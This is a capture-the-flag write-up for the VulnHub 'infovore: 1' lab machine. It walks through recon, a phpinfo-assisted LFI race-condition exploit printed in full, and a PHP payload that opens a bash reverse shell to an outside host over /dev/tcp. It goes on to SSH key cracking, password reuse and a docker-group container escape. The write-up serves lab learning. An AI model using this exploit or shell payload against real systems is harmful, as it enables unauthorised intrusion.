VulnHub - infovore: 1

Introduction


This writeup documents the penetration testing of the infovore: 1 machine. This machine has been downloaded from the VulnHub platform. In this machine we’ll exploit some php functions and lazy sys admins as the description says.

Recon


Enumeration of exposed services


Firstly, we need to discover the IP of the infovore machine. We will use arp-scan.

I use the settarget function to set the target IP in the Polybar, so that we can see in any moment DarkHole’s IP.

Normally:

  • TTL 64: Linux machine
  • TTL 128 Windows machine. We can also use whichSystem.

In this case it appears to be a Linux machine. Now we will perform a port scan.

extractPorts reads the grepable export file allPorts, shows me the open ports and copy them in the clipboard.

Let’s perform a deeper scan using basic recon nmap scripts to see more information about the port 80.

After performing this second scan we can see that we are facing an Apache web server running on a Debian machine. We can also see a title “Include me …“.

Let’s figure out the Debian version codename. We need to search in the internet the Apache version followed by ‘launchpad’.

We are facing a Debian Buster.

Web enumeration


Once the OS and exposed services have been enumerated it’s time to enumerate the web server.

It’s seems that the page it’s not configurated at all. The links and buttons doesn’t work and we can’t see anything interesting in the source code of the page. However, both Wappalyzer and WhatWeb are indicating that PHP is being used server-side.

Fuzzing and file enumeration


Let’s focus on fuzzing and PHP file enumeration. We’ll brute-force the website to list directories and files.

We find out some directories and PHP files. We see the classic info.php wich is generated by the PHP function phpinfo(). This file exposes all PHP configurations.


Exploitation


Identification and exploitation of vulnerabilities


In php.info you can search any directives to abuse them.

  • disable_functions - no disable functions, so we can use system, shell_exec, exec, to exeute commands.
  • file_uploads - we can upload files.

In the following link you can find information about this abuse: https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.html

I’ll focus on the LFI one. Firstly, we need a LFI vuln. I will use Burp Suite to send a POST request in order to force the upload of a PHP file. If I could find any way to force the server to interpretate my code (wich is a Reverse Shell) I could get into the server.

wfuzz detected the parameter filename.

With the filename parameter we can see the content of /etc/passwd. However, we can’t reach any files we upload through the POST request.

Actually, the server is erasing the file at the moment we upload the file in question (it’s a temporary resource: /tmp). So, we may have to consider a Race-Condition. To perform it, I’ll download the following script: https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/Files/phpinfolfi.py

I’m going to change some important variables. The final script was:

#!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
# The following line is not required but supposedly optimizes code.  
# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16.  This can be a pain to revert.
# from builtins import range
from __future__ import print_function
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.0.139/443 0>&1'");?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
    LFIREQ="""GET /index.php?filename=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt;")
        if i == -1:
            i = d.index("[tmp_name] =&gt;")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print("\nGot it! Shell created in /tmp/g")
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt;")
    if i == -1:
        i = d.find("[tmp_name] =&gt;")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print("found %s at %i" % (d[i:i+10],i))
    # padded up a bit
    return i+256

def main():

    print("LFI With PHPInfo()")
    print("-=" * 30)

    if len(sys.argv) < 2:
        print("Usage: %s host [port] [threads]" % sys.argv[0])
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("Error with hostname %s: %s" % (sys.argv[1], e))
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with port %d: %s" % (sys.argv[2], e))
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with poolsz %d: %s" % (sys.argv[3], e))
        sys.exit(1)

    print("Getting initial offset...", end=' ')
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print("Spawning worker pool (%d)..." % poolsz)
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print()
        if e.is_set():
            print("Woot!  \m/")
        else:
            print(":(")
    except KeyboardInterrupt:
        print("\nTelling threads to shutdown...")
        e.set()

    print("Shuttin' down...")
    for t in tp:
        t.join()

if __name__=="__main__":
    print("Don't forget to modify the LFI URL")
    main()

Basically, it will try to upload a file and point it many times until the file’s code is interpretated.


Post-Exploitation


tty treatment


script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 185

If we run the command hostname -I we will notice that we are not in the real machine, we are in a container.

Escaping the container


  • We have no file /var/run/docker.sock, docker it’s not installed.
  • capsh it’s not installed.
  • No users directories in /home and no users with a shell (only root and we can’t access it)
  • No PHP files in /var/www/html with the string “password
  • No files in the hole container with the string “config

To recon the container we will use the utility linPEAS. If we run linPEAS we’ll see the section “Unexpected in root” with the file .oldkeys.tgz that contains a public SSH key and a private SSH key. In this point, we’ll try to break the private SSH key.

ssh2john has converted the key into a hash. We’ll try to crack the hash with john using the rockyou.txt dictionary.

root’s password is choclate93.

But remember, we need to scape the container.

In the directory /root/.ssh we see a public key file wich shows that the user admin can connect to 192.168.150.1, there’s “trust” between them.

We’ll try to connect to 192.168.150.1 using the user admin and the same password as root.

We can! There’s a passord reuse.

admin is in the docker group. In this case I can create a container that mounts all the filesystem (even the root directory) into my container filesystem so I can access all directories and files.